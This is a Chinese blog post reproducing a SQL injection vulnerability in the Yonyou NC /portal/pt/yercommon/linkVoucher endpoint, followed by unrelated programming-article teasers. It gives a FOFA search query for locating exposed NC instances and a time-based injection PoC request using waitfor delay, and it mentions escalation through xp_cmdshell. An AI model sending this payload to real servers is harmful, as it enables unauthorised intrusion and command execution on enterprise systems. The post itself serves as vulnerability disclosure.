当前位置：首页 > news >正文

用友NC linkVoucher SQL注入漏洞复现

news 2026/4/6 9:10:39

0x01 产品简介

用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术，旨在帮助企业创新管理模式、引领商业变革。

0x02 漏洞概述

用友NC /portal/pt/yercommon/linkVoucher 接口存在SQL注入漏洞，攻击者通过利用SQL注入漏洞配合数据库xp_cmdshell可以执行任意命令，从而控制服务器。经过分析与研判，该漏洞利用难度低，建议尽快修复。

0x03 影响范围

NC 65

0x04 复现环境

FOFA：app="用友-UFIDA-NC"

0x05 漏洞复现

PoC

GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent:

用友NC linkVoucher SQL注入漏洞复现

0x01 产品简介用友NC是由用友公司开发的一套面向大型企业和集团型企业的管理软件产品系列。这一系列产品基于全球最新的互联网技术、云计算技术和移动应用技术，旨在帮助企业创新管理模式、引领商业变革。 0x02 漏洞概述用友NC /portal/pt/yercommon/linkVoucher 接口存在…...

编程日记 2024/5/27 21:08:59

部署Prometheus + Grafana实现监控数据指标

1.1 Prometheus安装部署 Prometheus监控服务主机名IP地址系统配置作用Prometheus192.168.110.27/24CentOS 7.94颗CPU 8G内存 100G硬盘Prometheus服务器grafana192.168.110.28/24CentOS 7.94颗CPU 8G内存 100G硬盘grafana服务器监控机器主机名IP地址系统配置k8s-master-0…...

编程日记 2024/5/27 21:07:58

GEE27：遥感数据可用数据源计算及条带号制作

1.写在前面 🌍✨今天读了一篇关于遥感数据可用数据源计算及条带号制作的文章，结合着自己的理解，添加了一些内容。 2.GEE代码 📚📚这段代码的主要作用是利用Google Earth Engine平台，通过分析Landsat 8影…...

编程日记 2024/5/27 21:05:55

FURNet问题

1. 为什么选择使用弱监督学习？ 弱监督学习减少了对精确标注数据的依赖，这在医学图像处理中尤为重要，因为高质量标注数据通常需要大量专业知识和时间。弱监督学习通过利用少量标注数据或粗略标注数据来训练模型，降低了数据准备的成…...

编程日记 2024/5/27 21:03:53

抖音小店怎么对接达人合作？达人带货的细节分享，附邀约达人话术

大家好，我是电商花花人有多大胆，地就有多大产，做抖店想要出单，爆单，那必须要对接大量的达人来帮我们带货，抖音小店就是直播电商，帮我们对接的达人越多，出单就越多。所以做抖店如…...

编程日记 2024/5/27 21:02:52

迈向未来：Web3 技术开发的无限可能

在当今的数字时代，互联网技术日新月异，推动着各行各业的变革与发展。从Web1.0的信息发布，到Web2.0的社交互动，互联网的每一次进化都为人们的生活带来了深远的影响。如今，Web3的到来正在开启一个全新的时代，…...

编程日记 2024/5/27 21:01:51

Python应用开发——30天学习Streamlit Python包进行APP的构建（2）

🗓️ 天 14 Streamlit 组件s Streamlit 组件s 是第三方的 Python 模块，对 Streamlit 进行拓展 [1]. 有哪些可用的 Streamlit 组件s？好几十个精选 Streamlit 组件s 罗列在 Streamlit 的网站上 [2]. Fanilo（一位 Streamlit 创作者）在 wiki 帖子中组织了一个很棒的 St…...

编程日记 2024/5/27 21:00:50

Leecode热题100---46：全排列（递归）

题目： 给定一个不含重复数字的数组 nums ，返回其所有可能的全排列。你可以按任意顺序返回答案。思路： 元素交换函数递归： 通过交换元素来实现全排列。即对于[x, nums.size()]中的元素，for循环遍历每个元素分别成…...

编程日记 2024/5/27 20:59:48

Android 多语言

0. Locale方法 Locale locale Locale.forLanguageTag("zh-Hans-CN"); 执行如下方法返回字符串如下： 方法英文下执行中文下执行备注 getLanguage()zhzhgetCountry()CNCNgetDisplayLanguage()zh中文getDisplayCountry()CN中国getDisplayName()zh (…...

编程日记 2024/5/27 20:58:47

Thingsboard规则链：Message Type Filter节点详解

一、Message Type Filter节点概述二、具体作用三、使用教程四、源码浅析五、应用场景与案例智能家居自动化工业设备监控智慧城市基础设施管理六、结语在物联网（IoT）领域，数据处理与自动化流程的实现是构建智能系统的关键。作…...

编程日记 2024/5/27 20:57:46

SQLI-labs-第二十五关和第二十五a关

目录第二十五关 1、判断注入点 2、判断数据库 3、判断表名 4、判断字段名 5、获取数据库的数据第二十五a关 1、判断注入点 2、判断数据库第二十五关知识点：绕过and、or过滤思路： 通过分析源码和页面，我们可以知道对and和or 进…...

编程日记 2024/5/27 20:56:45

Windows、Linux添加路由

目录一、Windows添加路由 1. 查看路由规则 2. 添加路由规则 3. 添加默认路由 4. 删除路由规则二、Linux添加路由 1. 查看路由 2. 添加路由 3. 删除路由 4. 修改路由 5. 临时路由 6. 默认网关设置一、Windows添加路由 1. 查看路由规则 route print 2. 添加…...

编程日记 2024/5/27 20:53:42

Swift 初学者交心：在 Array 和 Set 之间我们该如何抉择？

概述初学 Swift 且头发茂密的小码农们在日常开发中必定会在数组（Array）和集合（Set）两种类型之间的选择中“摇摆不定”，这也是人之常情。 Array 和 Set 在某些方面“亲如兄弟”，但实际上它们之间却有着“云…...

编程日记 2024/5/27 20:52:41

C++ 类模板函数模板

类模板 #include <bits/stdc.h> using namespace std; //多少变量就写多少个 template<typename T1, typename T2> class Cat { public:Cat(){}Cat(T1 name, T2 age){this->age age;this->name name;}void print(){cout << this->name << …...

编程日记 2024/5/27 20:51:40

OTP8脚-全自动擦鞋机WTN6020-低成本语音方案

一，产品开发背景首先，随着人们生活质量的提升，对鞋子的保养需求也日益增加。鞋子作为人们日常穿着的重要组成部分，其清洁度和外观状态直接影响到个人形象和舒适度。因此，一种能够自动清洁和擦亮鞋子的设备应运而生&am…...

编程日记 2024/5/27 20:49:38

GpuMall智算云：meta-llama/llama3/Llama3-8B-Instruct-WebUI

LLaMA 模型的第三代，是 LLaMA 2 的一个更大和更强的版本。LLaMA 3 拥有 35 亿个参数，训练在更大的文本数据集上GpuMall智算云 | 省钱、好用、弹性。租GPU就上GpuMall,面向AI开发者的GPU云平台 Llama 3 的推出标志着 Meta 基于 Llama 2 架构推出了四个新…...

编程日记 2024/5/27 20:48:37

内存泄漏案例分享4-异步任务流内存泄漏

案例4——异步任务内存泄漏异步任务，代指起子线程异步完成一些数据操作、网络接口请求等，通常会使用以下API： Runnbale，Thread,线程池RxJavaHandlerThread 而这些异步任务很有可能操作内存泄漏，下面我们以Rxjava为…...

编程日记 2024/5/27 20:46:34

【机器学习300问】100、怎么理解卷积神经网络CNN中的池化操作？

一、什么是池化？ 卷积神经网络（CNN）中的池化（Pooling）操作是一种下采样技术，其目的是减少数据的空间维度（宽度和高度），同时保持最重要的特征并降低计算复杂度。池化操作不…...

编程日记 2024/5/27 20:45:33

RPA机器人流程自动化如何优化人力资源工作流程

人力资源部门在支持员工和改善整体工作环节方面扮演着至关重要的角色，但是在人资管理的日常工作中，充斥着大量基于规则的重复性任务，例如简历筛选、面试安排、员工数据管理、培训管理、绩效管理等，这些任务通常需要工作人员花费大…...

编程日记 2024/5/27 20:44:32

OpenHarmony开发者大会2024:鸿心聚力智引未来

2024年5月25日，OpenAtom OpenHarmony（简称“OpenHarmony")委员会以“鸿心聚力，智引未来”为主题，在创新之城深圳举办OpenHarmony开发者大会2024，为开发者、产业组织、生态伙伴和行业客户搭建一个交流、分享和学习…...

编程日记 2024/5/27 20:43:31

抖音下载器技术深度解析：从单视频到批量下载的完整实战指南

抖音下载器技术深度解析：从单视频到批量下载的完整实战指南【免费下载链接】douyin-downloader A practical Douyin downloader for both single-item and profile batch downloads, with progress display, retries, SQLite deduplication, and browser fallback …...

编程新知 2026/4/6 8:40:40

Python玩转微信自动化：除了监控聊天，uiautomation还能帮你自动保存文件、整理聊天记录

Python实现微信自动化管理：从文件归档到聊天记录整理微信已经成为现代办公不可或缺的沟通工具，但随之而来的是海量文件管理和聊天记录整理的烦恼。每天手动保存图片、文档，再按日期分类，不仅耗时耗力，还容易遗漏重要…...

编程新知 2026/4/6 8:22:37

DeepSeek-R1-Distill-Qwen-1.5B效果展示：同一问题下思考链vs直答效果对比

DeepSeek-R1-Distill-Qwen-1.5B效果展示：同一问题下思考链vs直答效果对比 1. 项目概述 DeepSeek-R1-Distill-Qwen-1.5B是一个超轻量级的智能对话模型，基于魔塔平台下载量最高的蒸馏模型构建。这个模型巧妙融合了DeepSeek强大的逻辑推理能力和Qwen成熟的…...

编程新知 2026/4/6 8:04:35

初学者如何自学SEO优化

初学者如何自学SEO优化在当今互联网时代，搜索引擎优化（SEO）已经成为了网站推广的核心手段。对于初学者来说，如何自学SEO优化可能看起来有些复杂，但只要掌握几个关键点，就能迅速上手。本文将带你深入了解如…...

编程新知 2026/4/6 7:56:34

PyG实战：用自定义MessagePassing为异构图构建一个简单的推荐系统消息传递层

PyG实战：构建异构图的推荐系统消息传递层当我们在电商平台上浏览商品时，系统总能精准推荐我们可能感兴趣的内容。这背后往往隐藏着一个复杂的用户-商品交互网络，而图神经网络(GNN)正是处理这类异构关系的利器。今天，我们就来探索…...

编程新知 2026/4/6 6:49:35

PyTorch 2.6 镜像使用教程：开箱即用，快速开启你的AI之旅

PyTorch 2.6 镜像使用教程：开箱即用，快速开启你的AI之旅 1. 为什么选择PyTorch 2.6镜像 PyTorch作为当前最流行的深度学习框架之一，其2.6版本带来了多项性能优化和新特性。但对于初学者来说，环境配置往往是最头疼的问题——CUDA…...

编程新知 2026/4/6 6:39:26

终极指南：GitHub加速计划testing-samples测试工具链——从开发到部署的全流程自动化测试方案

终极指南：GitHub加速计划testing-samples测试工具链——从开发到部署的全流程自动化测试方案【免费下载链接】testing-samples A collection of samples demonstrating different frameworks and techniques for automated testing 项目地址: https://gitcode.co…...

编程新知 2026/4/6 6:20:46